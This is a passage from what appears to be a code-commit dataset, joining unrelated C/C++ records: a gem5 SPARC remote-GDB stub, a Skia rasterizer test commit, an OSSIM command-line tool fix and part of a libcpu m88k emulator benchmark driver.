LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * $NetBSD: kgdb_stub.c,v 1.8 2001\/07\/07 22:58:00 wdk Exp $\n *\n * Taken from NetBSD\n *\n * \"Stub\" to allow remote cpu to debug over a serial line using gdb.\n *\/\n\n#include <sys\/signal.h>\n\n#include <string>\n#include <unistd.h>\n\n#include \"arch\/vtophys.hh\"\n#include \"arch\/sparc\/remote_gdb.hh\"\n#include \"base\/intmath.hh\"\n#include \"base\/remote_gdb.hh\"\n#include \"base\/socket.hh\"\n#include \"base\/trace.hh\"\n#include \"config\/full_system.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"cpu\/static_inst.hh\"\n#include \"mem\/page_table.hh\"\n#include \"mem\/physical.hh\"\n#include \"mem\/port.hh\"\n#include \"sim\/process.hh\"\n#include \"sim\/system.hh\"\n\nusing namespace std;\nusing namespace TheISA;\n\nRemoteGDB::RemoteGDB(System *_system, ThreadContext *c)\n : BaseRemoteGDB(_system, c, NumGDBRegs), nextBkpt(0)\n{}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RemoteGDB::acc\n\/\/\n\/\/\tDetermine if the mapping at va..(va+len) is valid.\n\/\/\nbool\nRemoteGDB::acc(Addr va, size_t len)\n{\n \/\/@Todo In NetBSD, this function checks if all addresses\n \/\/from va to va + len have valid page map entries. Not\n \/\/sure how this will work for other OSes or in general.\n#if FULL_SYSTEM\n if (va)\n return true;\n return false;\n#else\n TlbEntry entry;\n \/\/Check to make sure the first byte is mapped into the processes address\n \/\/space.\n if (context->getProcessPtr()->pTable->lookup(va, entry))\n return true;\n return false;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RemoteGDB::getregs\n\/\/\n\/\/\tTranslate the kernel debugger register format into\n\/\/\tthe GDB register format.\nvoid\nRemoteGDB::getregs()\n{\n memset(gdbregs.regs, 0, gdbregs.size);\n\n if (context->readMiscReg(MISCREG_PSTATE) &\n PSTATE::am) {\n uint32_t *regs;\n regs = (uint32_t*)gdbregs.regs;\n regs[Reg32Pc] = htobe((uint32_t)context->readPC());\n regs[Reg32Npc] = htobe((uint32_t)context->readNextPC());\n for(int x = RegG0; x <= RegI0 + 7; x++)\n regs[x] = htobe((uint32_t)context->readIntReg(x - RegG0));\n\n regs[Reg32Y] = htobe((uint32_t)context->readIntReg(NumIntArchRegs + 1));\n regs[Reg32Psr] = htobe((uint32_t)context->readMiscReg(MISCREG_PSTATE));\n regs[Reg32Fsr] = htobe((uint32_t)context->readMiscReg(MISCREG_FSR));\n regs[Reg32Csr] = htobe((uint32_t)context->readIntReg(NumIntArchRegs + 2));\n } else {\n gdbregs.regs[RegPc] = htobe(context->readPC());\n gdbregs.regs[RegNpc] = htobe(context->readNextPC());\n for(int x = RegG0; x <= RegI0 + 7; x++)\n gdbregs.regs[x] = htobe(context->readIntReg(x - RegG0));\n\n gdbregs.regs[RegFsr] = htobe(context->readMiscReg(MISCREG_FSR));\n gdbregs.regs[RegFprs] = htobe(context->readMiscReg(MISCREG_FPRS));\n gdbregs.regs[RegY] = htobe(context->readIntReg(NumIntArchRegs + 1));\n gdbregs.regs[RegState] = htobe(\n context->readMiscReg(MISCREG_CWP) |\n context->readMiscReg(MISCREG_PSTATE) << 8 |\n context->readMiscReg(MISCREG_ASI) << 24 |\n context->readIntReg(NumIntArchRegs + 2) << 32);\n }\n\n DPRINTF(GDBRead, \"PC=%#x\\n\", gdbregs.regs[RegPc]);\n\n \/\/Floating point registers are left at 0 in netbsd\n \/\/All registers other than the pc, npc and int regs\n \/\/are ignored as well.\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RemoteGDB::setregs\n\/\/\n\/\/\tTranslate the GDB register format into the kernel\n\/\/\tdebugger register format.\n\/\/\nvoid\nRemoteGDB::setregs()\n{\n context->setPC(gdbregs.regs[RegPc]);\n context->setNextPC(gdbregs.regs[RegNpc]);\n for(int x = RegG0; x <= RegI0 + 7; x++)\n context->setIntReg(x - RegG0, gdbregs.regs[x]);\n \/\/Only the integer registers, pc and npc are set in netbsd\n}\n\nvoid\nRemoteGDB::clearSingleStep()\n{\n if (nextBkpt)\n clearTempBreakpoint(nextBkpt);\n}\n\nvoid\nRemoteGDB::setSingleStep()\n{\n nextBkpt = context->readNextPC();\n setTempBreakpoint(nextBkpt);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm.h\"\n#include \"SkFont.h\"\n#include \"SkPath.h\"\n\n\/\/ This GM shows off a flaw in delta-based rasterizers (DAA, CCPR, etc.).\n\/\/ See also the bottom of dashing4 and skia:6886.\n\nstatic const int K = 50;\n\nDEF_SIMPLE_GM(daa, canvas, K+350, K) {\n SkPaint paint;\n paint.setAntiAlias(true);\n\n paint.setColor(SK_ColorBLACK);\n canvas->drawString(\"Should be a green square with no red showing through.\",\n K*1.5f, K\/2, SkFont(), paint);\n\n paint.setColor(SK_ColorRED);\n canvas->drawRect({0,0,K,K}, paint);\n\n SkPath path;\n SkPoint tri1[] = {{0,0},{K,K},{0,K},{0,0}};\n SkPoint tri2[] = {{0,0},{K,K},{K,0},{0,0}};\n path.addPoly(tri1, SK_ARRAY_COUNT(tri1), false);\n path.addPoly(tri2, SK_ARRAY_COUNT(tri2), false);\n\n paint.setColor(SK_ColorGREEN);\n canvas->drawPath(path, paint);\n}\n<commit_msg>Roll external\/skia d6841487e..1edcea99a (1 commits)<commit_after>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm.h\"\n#include \"SkFont.h\"\n#include \"SkPath.h\"\n\n\/\/ This GM shows off a flaw in delta-based rasterizers (DAA, CCPR, etc.).\n\/\/ See also the bottom of dashing4 and skia:6886.\n\nstatic const int K = 49;\n\nDEF_SIMPLE_GM(daa, canvas, K+350, 5*K) {\n SkPaint paint;\n paint.setAntiAlias(true);\n\n {\n paint.setColor(SK_ColorBLACK);\n canvas->drawString(\"Should be a green square with no red showing through.\",\n K*1.5f, K*0.5f, SkFont(), paint);\n\n paint.setColor(SK_ColorRED);\n canvas->drawRect({0,0,K,K}, paint);\n\n SkPath path;\n SkPoint tri1[] = {{0,0},{K,K},{0,K},{0,0}};\n SkPoint tri2[] = {{0,0},{K,K},{K,0},{0,0}};\n path.addPoly(tri1, SK_ARRAY_COUNT(tri1), false);\n path.addPoly(tri2, SK_ARRAY_COUNT(tri2), false);\n\n paint.setColor(SK_ColorGREEN);\n canvas->drawPath(path, paint);\n }\n\n canvas->translate(0,K);\n {\n paint.setColor(SK_ColorBLACK);\n canvas->drawString(\"Adjacent rects, two draws. Blue then green, no red?\",\n K*1.5f, K*0.5f, SkFont(), paint);\n\n paint.setColor(SK_ColorRED);\n canvas->drawRect({0,0,K,K}, paint);\n\n {\n SkPath path;\n SkPoint rect1[] = {{0,0},{0,K},{K*0.5f,K},{K*0.5f,0}};\n path.addPoly(rect1, SK_ARRAY_COUNT(rect1), false);\n\n paint.setColor(SK_ColorBLUE);\n canvas->drawPath(path, paint);\n }\n\n {\n SkPath path;\n SkPoint rect2[] = {{K*0.5f,0},{K*0.5f,K},{K,K},{K,0}};\n path.addPoly(rect2, SK_ARRAY_COUNT(rect2), false);\n\n paint.setColor(SK_ColorGREEN);\n canvas->drawPath(path, paint);\n }\n }\n\n canvas->translate(0,K);\n {\n paint.setColor(SK_ColorBLACK);\n canvas->drawString(\"Adjacent rects, wound together. All green?\",\n K*1.5f, K*0.5f, SkFont(), paint);\n\n paint.setColor(SK_ColorRED);\n canvas->drawRect({0,0,K,K}, paint);\n\n {\n SkPath path;\n SkPoint rect1[] = {{0,0},{0,K},{K*0.5f,K},{K*0.5f,0}};\n SkPoint rect2[] = {{K*0.5f,0},{K*0.5f,K},{K,K},{K,0}};\n\n path.addPoly(rect1, SK_ARRAY_COUNT(rect1), false);\n path.addPoly(rect2, SK_ARRAY_COUNT(rect2), false);\n\n paint.setColor(SK_ColorGREEN);\n canvas->drawPath(path, paint);\n }\n }\n\n canvas->translate(0,K);\n {\n paint.setColor(SK_ColorBLACK);\n canvas->drawString(\"Adjacent rects, wound opposite. All green?\",\n K*1.5f, K*0.5f, SkFont(), paint);\n\n paint.setColor(SK_ColorRED);\n canvas->drawRect({0,0,K,K}, paint);\n\n {\n SkPath path;\n SkPoint rect1[] = {{0,0},{0,K},{K*0.5f,K},{K*0.5f,0}};\n SkPoint rect2[] = {{K*0.5f,0},{K,0},{K,K},{K*0.5f,K}};\n\n path.addPoly(rect1, SK_ARRAY_COUNT(rect1), false);\n path.addPoly(rect2, SK_ARRAY_COUNT(rect2), false);\n\n paint.setColor(SK_ColorGREEN);\n canvas->drawPath(path, paint);\n }\n }\n\n canvas->translate(0,K);\n {\n paint.setColor(SK_ColorBLACK);\n canvas->drawString(\"One poly, wound opposite. All green?\",\n K*1.5f, K*0.5f, SkFont(), paint);\n\n paint.setColor(SK_ColorRED);\n canvas->drawRect({0,0,K,K}, paint);\n\n {\n SkPath path;\n SkPoint poly[] = {{K*0.5f,0},{0,0},{0,K},{K*0.5f,K},{K*0.5f,0},{K,0},{K,K},{K*0.5f,K}};\n\n path.addPoly(poly, SK_ARRAY_COUNT(poly), false);\n\n paint.setColor(SK_ColorGREEN);\n canvas->drawPath(path, paint);\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/**************************************************************************************************\n\/\/\n\/\/ OSSIM Open Source Geospatial Data Processing Library\n\/\/ See top level LICENSE.txt file for license information\n\/\/\n\/\/**************************************************************************************************\n\n#include <iostream>\n#include <map>\nusing namespace std;\n\n#include <ossim\/init\/ossimInit.h>\n#include <ossim\/base\/ossimArgumentParser.h>\n#include <ossim\/base\/ossimApplicationUsage.h>\n#include <ossim\/base\/ossimStdOutProgress.h>\n#include <ossim\/base\/ossimTimer.h>\n#include <ossim\/base\/ossimKeywordlist.h>\n#include <ossim\/base\/ossimString.h>\n#include <ossim\/util\/ossimUtilityRegistry.h>\n#include <ossim\/base\/ossimException.h>\n\nint main(int argc, char *argv[])\n{\n ossimArgumentParser ap(&argc, argv);\n ap.getApplicationUsage()->setApplicationName(argv[0]);\n\n try\n {\n \/\/ Initialize ossim stuff, factories, plugin, etc.\n ossimInit::instance()->initialize(ap);\n\n ossimUtilityFactoryBase* factory = ossimUtilityRegistry::instance();\n map<string, string> capabilities;\n factory->getCapabilities(capabilities);\n ossimRefPtr<ossimUtility> utility = 0;\n ossimString toolName;\n ossimKeywordlist kwl;\n char input[4096];\n bool usingCmdLineMode = false;\n\n if ((argc > 1) && (ossimString(argv[1]).contains(\"help\")))\n {\n cout << \"\\nUsages: \"<<endl;\n cout << \" \"<<argv[0]<<\" <command> [command options and parameters]\"<<endl;\n cout << \" \"<<argv[0]<<\" --version\"<<endl;\n cout << \" \"<<argv[0]<<\" (with no args, displays command descriptions)\\n\"<<endl;\n exit (0);\n }\n\n if (argc > 1)\n {\n if (ossimString(argv[1]).contains(\"--\"))\n {\n \/\/ Support ossim-info style system queries by interpreting any options as options to\n \/\/ info tool:\n toolName = \"info\";\n usingCmdLineMode = true;\n }\n else if (kwl.addFile(argv[1]))\n {\n \/\/ KWL filename provided, get tool name from it:\n toolName = kwl.find(\"tool\");\n ap.remove(0);\n }\n else\n {\n \/\/ The tool name was explicitely provided on command line:\n toolName = argv[1];\n if (argc > 2)\n usingCmdLineMode = true;\n ap.remove(0);\n }\n }\n\n \/\/ Using one-time do-loop for breaking out when finished processing:\n do\n {\n if (toolName.empty())\n {\n map<string, string>::iterator iter = capabilities.begin();\n cout<<\"\\n\\nAvailable commands:\"<<endl;\n for (;iter != capabilities.end(); ++iter)\n cout<<\" \"<<iter->first<<\" -- \"<<iter->second<<endl;\n\n \/\/ Query for operation:\n cout << \"\\nossim> \";\n cin.getline(input, 256);\n if (input[0] == 'q')\n break;\n toolName = input;\n }\n\n \/\/ Fetch the utility object:\n ossimRefPtr<ossimUtility> utility = factory->createUtility(toolName);\n if (!utility.valid())\n {\n cout << \"\\nDid not understand <\"<<toolName<<\">\"<<endl;\n continue;\n }\n\n if (usingCmdLineMode)\n {\n \/\/ Check if user provided options along with tool name:\n \/\/ Init utility with command line\n if (!utility->initialize(ap))\n {\n cout << \"\\nCould not execute command with options provided.\"<<endl;\n }\n if (!utility->execute())\n {\n cout << \"\\nAn error was encountered executing the command. Check options.\"<<endl;\n }\n continue;\n }\n\n if (utility.valid() && !toolName.empty())\n {\n \/\/ Have toolname but no command line options:\n cout << \"\\nEnter command arguments\/options or return for usage. \"<<endl;\n cout << \"\\nossim> \";\n cin.getline(input, 4096);\n if (input[0] == 'q')\n break;\n\n \/\/ Create the command line with either \"help\" or inputs:\n ossimString cmdLine (toolName);\n cmdLine += \" \";\n if (input[0] == '\\0')\n cmdLine += \"--help\";\n else\n cmdLine += input;\n\n \/\/ Run command:\n ossimArgumentParser tap (cmdLine);\n utility->initialize(tap);\n if (cmdLine.contains(\"--help\"))\n continue;\n utility->execute();\n break;\n }\n if (kwl.getSize() == 0)\n {\n \/\/\n \/\/ Query for config filename:\n ossimKeywordlist kwl;\n cout << \"\\nEnter config file name or <return> for template: \" << ends;\n cin.getline(input, 4096);\n if (input[0] && !kwl.addFile(input))\n {\n cout<<\"\\nCould not load config file at <\"<<input<<\">\"<<endl;\n break;\n }\n }\n\n \/\/ Init utility with KWL if available:\n if (kwl.getSize())\n {\n utility->initialize(kwl);\n utility->execute();\n break;\n }\n\n \/\/ Display API:\n ossimKeywordlist kwl_template;\n utility->getKwlTemplate(kwl_template);\n cout << \"\\nUtility template specification: \"<<endl;\n cout << kwl_template << endl;\n\n \/\/ Accept inputs:\n do\n {\n cout << \"Enter \\\"<keyword>: <value>\\\" with colon separator (or 'x' to finish): \";\n cin.getline(input, 4096);\n if (input[0] == 'x' || (!kwl.parseString(string(input))))\n break;\n } while (1);\n\n if (kwl.getSize() == 0)\n break;\n\n \/\/ Display final KWL:\n cout << \"\\nUtility final specification: \"<<endl;\n cout << kwl << endl;\n\n \/\/ Query go-ahead. Perform operation:\n while (1)\n {\n cout << \"Perform operation? [y|n]: \";\n cin.getline(input, 4096);\n if (input[0] == 'n')\n break;\n else if (input[0] == 'y')\n {\n utility->initialize(kwl);\n utility->execute();\n break;\n }\n }\n\n } while (true);\n }\n catch (const ossimException& e)\n {\n ossimNotify(ossimNotifyLevel_FATAL)<<e.what()<<endl;\n exit(1);\n }\n catch( ... )\n {\n cerr << \"Caught unknown exception!\" << endl;\n }\n\n exit(0);\n}\n<commit_msg>Fixed typo in ossim-cli<commit_after>\/\/**************************************************************************************************\n\/\/\n\/\/ OSSIM Open Source Geospatial Data Processing Library\n\/\/ See top level LICENSE.txt file for license information\n\/\/\n\/\/**************************************************************************************************\n\n#include <iostream>\n#include <map>\nusing namespace std;\n\n#include <ossim\/init\/ossimInit.h>\n#include <ossim\/base\/ossimArgumentParser.h>\n#include <ossim\/base\/ossimApplicationUsage.h>\n#include <ossim\/base\/ossimStdOutProgress.h>\n#include <ossim\/base\/ossimTimer.h>\n#include <ossim\/base\/ossimKeywordlist.h>\n#include <ossim\/base\/ossimString.h>\n#include <ossim\/util\/ossimUtilityRegistry.h>\n#include <ossim\/base\/ossimException.h>\n\nint main(int argc, char *argv[])\n{\n ossimArgumentParser ap(&argc, argv);\n ap.getApplicationUsage()->setApplicationName(argv[0]);\n\n try\n {\n \/\/ Initialize ossim stuff, factories, plugin, etc.\n ossimInit::instance()->initialize(ap);\n\n ossimUtilityFactoryBase* factory = ossimUtilityRegistry::instance();\n map<string, string> capabilities;\n factory->getCapabilities(capabilities);\n ossimRefPtr<ossimUtility> utility = 0;\n ossimString toolName;\n ossimKeywordlist kwl;\n char input[4096];\n bool usingCmdLineMode = false;\n\n if ((argc > 1) && (ossimString(argv[1]).contains(\"help\")))\n {\n cout << \"\\nUsages: \"<<endl;\n cout << \" \"<<argv[0]<<\" <command> [command options and parameters]\"<<endl;\n cout << \" \"<<argv[0]<<\" --version\"<<endl;\n cout << \" \"<<argv[0]<<\" (with no args, displays command descriptions)\\n\"<<endl;\n exit (0);\n }\n\n if (argc > 1)\n {\n if (ossimString(argv[1]).contains(\"--\"))\n {\n \/\/ Support ossim-info style system queries by interpreting any options as options to\n \/\/ info tool:\n toolName = \"info\";\n usingCmdLineMode = true;\n }\n else if (kwl.addFile(argv[1]))\n {\n \/\/ KWL filename provided, get tool name from it:\n toolName = kwl.find(\"tool\");\n ap.remove(0);\n }\n else\n {\n \/\/ The tool name was explicitely provided on command line:\n toolName = argv[1];\n if (argc > 2)\n usingCmdLineMode = true;\n ap.remove(0);\n }\n }\n\n \/\/ Using one-time do-loop for breaking out when finished processing:\n do\n {\n if (toolName.empty())\n {\n map<string, string>::iterator iter = capabilities.begin();\n cout<<\"\\n\\nAvailable commands:\"<<endl;\n for (;iter != capabilities.end(); ++iter)\n cout<<\" \"<<iter->first<<\" -- \"<<iter->second<<endl;\n\n \/\/ Query for operation:\n cout << \"\\nossim> \";\n cin.getline(input, 256);\n if (input[0] == 'q')\n break;\n toolName = input;\n }\n\n \/\/ Fetch the utility object:\n ossimRefPtr<ossimUtility> utility = factory->createUtility(toolName);\n if (!utility.valid())\n {\n cout << \"\\nDid not understand <\"<<toolName<<\">\"<<endl;\n continue;\n }\n\n if (usingCmdLineMode)\n {\n \/\/ Check if user provided options along with tool name:\n \/\/ Init utility with command line\n if (!utility->initialize(ap))\n {\n cout << \"\\nCould not execute command with options provided.\"<<endl;\n }\n if (!utility->execute())\n {\n cout << \"\\nAn error was encountered executing the command. Check options.\"<<endl;\n }\n break;\n }\n\n if (utility.valid() && !toolName.empty())\n {\n \/\/ Have toolname but no command line options:\n cout << \"\\nEnter command arguments\/options or return for usage. \"<<endl;\n cout << \"\\nossim> \";\n cin.getline(input, 4096);\n if (input[0] == 'q')\n break;\n\n \/\/ Create the command line with either \"help\" or inputs:\n ossimString cmdLine (toolName);\n cmdLine += \" \";\n if (input[0] == '\\0')\n cmdLine += \"--help\";\n else\n cmdLine += input;\n\n \/\/ Run command:\n ossimArgumentParser tap (cmdLine);\n utility->initialize(tap);\n if (cmdLine.contains(\"--help\"))\n {\n toolName = \"\";\n continue;\n }\n utility->execute();\n break;\n }\n if (kwl.getSize() == 0)\n {\n \/\/\n \/\/ Query for config filename:\n ossimKeywordlist kwl;\n cout << \"\\nEnter config file name or <return> for template: \" << ends;\n cin.getline(input, 4096);\n if (input[0] && !kwl.addFile(input))\n {\n cout<<\"\\nCould not load config file at <\"<<input<<\">\"<<endl;\n break;\n }\n }\n\n \/\/ Init utility with KWL if available:\n if (kwl.getSize())\n {\n utility->initialize(kwl);\n utility->execute();\n break;\n }\n\n \/\/ Display API:\n ossimKeywordlist kwl_template;\n utility->getKwlTemplate(kwl_template);\n cout << \"\\nUtility template specification: \"<<endl;\n cout << kwl_template << endl;\n\n \/\/ Accept inputs:\n do\n {\n cout << \"Enter \\\"<keyword>: <value>\\\" with colon separator (or 'x' to finish): \";\n cin.getline(input, 4096);\n if (input[0] == 'x' || (!kwl.parseString(string(input))))\n break;\n } while (1);\n\n if (kwl.getSize() == 0)\n break;\n\n \/\/ Display final KWL:\n cout << \"\\nUtility final specification: \"<<endl;\n cout << kwl << endl;\n\n \/\/ Query go-ahead. Perform operation:\n while (1)\n {\n cout << \"Perform operation? [y|n]: \";\n cin.getline(input, 4096);\n if (input[0] == 'n')\n break;\n else if (input[0] == 'y')\n {\n utility->initialize(kwl);\n utility->execute();\n break;\n }\n }\n\n } while (true);\n }\n catch (const ossimException& e)\n {\n ossimNotify(ossimNotifyLevel_FATAL)<<e.what()<<endl;\n exit(1);\n }\n catch( ... )\n {\n cerr << \"Caught unknown exception!\" << endl;\n }\n\n exit(0);\n}\n<|endoftext|>"} {"text":"<commit_before>#define BENCHMARK_FIB\n\/\/#define SINGLESTEP\n\n#ifdef BENCHMARK_FIB\n# define START 0\n# define ENTRY 0\n#else\n# define START 0\n# define ENTRY 0\n#endif\n\n#include \"timings.h\"\n\n#define START_NO 1000000000\n#define TIMES 100\n\n#include <libcpu.h>\n#include \"arch\/m88k\/libcpu_m88k.h\"\n#include \"arch\/m88k\/m88k_isa.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ command line parsing helpers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid tag_extra(cpu_t *cpu, char *entries)\n{\n\taddr_t entry;\n\tchar* old_entries;\n\n\twhile (entries && *entries) {\n\t\/* just one for now *\/\n\t\tif (entries[0] == ',')\n\t\t\tentries++;\n\t\tif (!entries[0])\n\t\t\tbreak;\n\t\told_entries = entries;\n\t\tentry = (addr_t)strtol(entries, &entries, 0);\n\t\tif (entries == old_entries) {\n\t\t\tprintf(\"Error parsing entries!\\n\");\n\t\t\texit(3);\n\t\t}\n\t\tcpu_tag(cpu, entry);\n\t}\n}\n\nvoid tag_extra_filename(cpu_t *cpu, char *filename)\n{\n\tFILE *fp;\n\tchar *buf;\n\tsize_t nbytes;\n\n\tfp = fopen(filename, \"r\");\n\tif (!fp) {\n\t\tperror(\"error opening tag file\");\n\t\texit(3);\n\t}\n\tfseek(fp, 0, SEEK_END);\n\tnbytes = ftell(fp);\n\tfseek(fp, 0, SEEK_SET);\n\tbuf = (char*)malloc(nbytes + 1);\n\tnbytes = fread(buf, 1, nbytes, fp);\n\tbuf[nbytes] = '\\0';\n\tfclose(fp);\n\n\twhile (nbytes && buf[nbytes - 1] == '\\n')\n\t\tbuf[--nbytes] = '\\0';\n\n\ttag_extra(cpu, buf);\n\tfree(buf);\n}\n\nvoid __attribute__((noinline))\nbreakpoint() {\nasm(\"nop\");\n}\n\nstatic double\nieee754_fp80_to_double(fp80_reg_t reg)\n{\n#if defined(__i386__) || defined(__x86_64__)\n#if 0\n\tuint32_t sign = (reg.i.hi & 0x8000) != 0;\n\tuint32_t exp = reg.i.hi & 0x7fff;\n\tuint64_t mantissa = reg.i.lo;\n#endif\n\treturn (double)reg.f;\n#else\n\tuint32_t sign = (reg.i.hi & 0x8000) != 0;\n\tuint32_t exp = reg.i.hi & 0x7fff;\n\tuint64_t mantissa = reg.i.lo << 1;\n\n\tuint64_t v64 = ((uint64_t)sign << 63) | \n\t\t((uint64_t)(exp & 0x7000) << 48) |\n\t\t((uint64_t)(exp & 0x3ff) << 52) |\n\t\t(mantissa >> 12);\n\n\treturn *(double *)&v64;\n#endif\n}\n\n#if 0\nstatic void\nieee754_fp80_set_d(fp80_reg_t *reg, double v)\n{\n#if defined(__i386__) || defined(__x86_64__)\n\treg->f = v;\n#else\n\tuint64_t v64 = *(uint64_t *)&v;\n\tuint32_t sign = (v64 >> 63);\n\tuint32_t exp = (v64 >> 52) & 0x7ff;\n\tuint64_t mantissa = v64 & ((1ULL << 52) - 1);\n\n\tmantissa <<= 11;\n\tmantissa |= (1ULL << 63);\n\n\texp = ((exp & 0x700) << 4) | ((-((exp >> 9) & 1)) & 0xf00) | (exp & 0x3ff);\n\n\treg->i.hi = (sign << 15) | exp;\n\treg->i.lo = mantissa;\n#endif\n}\n#endif\n\nstatic void\ndump_state(uint8_t *RAM, m88k_grf_t *reg, m88k_xrf_t *xrf)\n{\n\tprintf(\"%08llx:\", (unsigned long long)reg->sxip);\n\tfor (int i=0; i<32; i++) {\n\t\tif (!(i%4))\n\t\t\tprintf(\"\\n\");\n\t\tprintf(\"R%02d=%08x \", i, (unsigned int)reg->r[i]);\n\t}\n\tfor (int i=0; xrf != NULL && i<32; i++) {\n\t\tif (!(i%2))\n\t\t\tprintf(\"\\n\");\n\t\tprintf(\"X%02d=%04x%016llx (%.8f) \", i,\n\t\t\txrf->x[i].i.hi, xrf->x[i].i.lo,\n\t\t\tieee754_fp80_to_double(xrf->x[i]));\n\t}\n\tuint32_t base = reg->r[31];\n\tfor (int i=0; i<256 && i+base<65536; i+=4) {\n\t\tif (!(i%16))\n\t\t\tprintf(\"\\nSTACK: \");\n\t\tprintf(\"%08x \", *(unsigned int*)&RAM[(base+i)]);\n\t}\n\tprintf(\"\\n\");\n}\n\nstatic void\ndebug_function(cpu_t *cpu) {\n\tfprintf(stderr, \"%s:%u\\n\", __FILE__, __LINE__);\n}\n\n#if 0\nint fib(int n)\n{\n\tif (n==0 || n==1)\n\t\treturn n;\n\telse\n\t\treturn fib(n-1) + fib(n-2);\n}\n#else\nint fib(int n)\n{\n int f2=0;\n int f1=1;\n int fib=0;\n int i;\n \n if (n==0 || n==1)\n return n;\n for(i=2;i<=n;i++){\n fib=f1+f2; \/*sum*\/\n f2=f1;\n f1=fib;\n }\n return fib;\n}\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint\nmain(int argc, char **argv)\n{\n\tchar *executable;\n\tchar *entries;\n\tcpu_t *cpu;\n\tuint8_t *RAM;\n\tFILE *f;\n\tint ramsize;\n\tchar *stack;\n\tint i;\n#ifdef BENCHMARK_FIB\n\tint r1, r2;\n\tuint64_t t1, t2, t3, t4;\n\tunsigned start_no = START_NO;\n#endif\n#ifdef SINGLESTEP\n\tint step = 0;\n#endif\n\tramsize = 5*1024*1024;\n\tRAM = (uint8_t*)malloc(ramsize);\n\n\tcpu = cpu_new(CPU_ARCH_M88K, CPU_FLAG_ENDIAN_BIG, 0);\n\n#ifdef SINGLESTEP\n\tcpu_set_flags_optimize(cpu, CPU_OPTIMIZE_ALL);\n\tcpu_set_flags_debug(cpu, CPU_DEBUG_SINGLESTEP | CPU_DEBUG_PRINT_IR | CPU_DEBUG_PRINT_IR_OPTIMIZED);\n#else\n\tcpu_set_flags_optimize(cpu, CPU_OPTIMIZE_ALL);\n\/\/\tcpu_set_flags_optimize(cpu, CPU_OPTIMIZE_NONE);\n\/\/\tcpu_set_flags_optimize(cpu, 0x3eff);\n\/\/\tcpu_set_flags_optimize(cpu, 0x3eff);\n\tcpu_set_flags_debug(cpu, CPU_DEBUG_PRINT_IR | CPU_DEBUG_PRINT_IR_OPTIMIZED);\n#endif\n\n\tcpu_set_ram(cpu, RAM);\n\t\n\t\/* parameter parsing *\/\n\tif (argc < 2) {\n#ifdef BENCHMARK_FIB\n\t\tprintf(\"Usage: %s executable [itercount] [entries]\\n\", argv[0]);\n#else\n\t\tprintf(\"Usage: %s executable [entries]\\n\", argv[0]);\n#endif\n\t\treturn 0;\n\t}\n\n\texecutable = argv[1];\n#ifdef BENCHMARK_FIB\n\tif (argc >= 3)\n\t\tstart_no = atoi(argv[2]);\n\n\tif (argc >= 4)\n\t\tentries = argv[3];\n\telse\n\t\tentries = 0;\n#else\n\tif (argc >= 3)\n\t\tentries = argv[2];\n\telse\n\t\tentries = 0;\n#endif\n\n\t\/* load code *\/\n\tif (!(f = fopen(executable, \"rb\"))) {\n\t\tprintf(\"Could not open %s!\\n\", executable);\n\t\treturn 2;\n\t}\n\tcpu->code_start = START;\n\tcpu->code_end = cpu->code_start + fread(&RAM[cpu->code_start], 1, ramsize-cpu->code_start, f);\n\tfclose(f);\n\tcpu->code_entry = cpu->code_start + ENTRY;\n\n\tcpu_tag(cpu, cpu->code_entry);\n\n\tif (entries && *entries == '@')\n\t\ttag_extra_filename(cpu, entries + 1);\n\telse\n\t\ttag_extra(cpu, entries); \/* tag extra entry points from the command line *\/\n\n#ifdef RET_OPTIMIZATION\n\tfind_rets(RAM, cpu->code_start, cpu->code_end);\n#endif\n\n\tprintf(\"*** Executing...\\n\");\n\n#define STACK_SIZE 65536\n\n\tstack = (char *)(ramsize - STACK_SIZE); 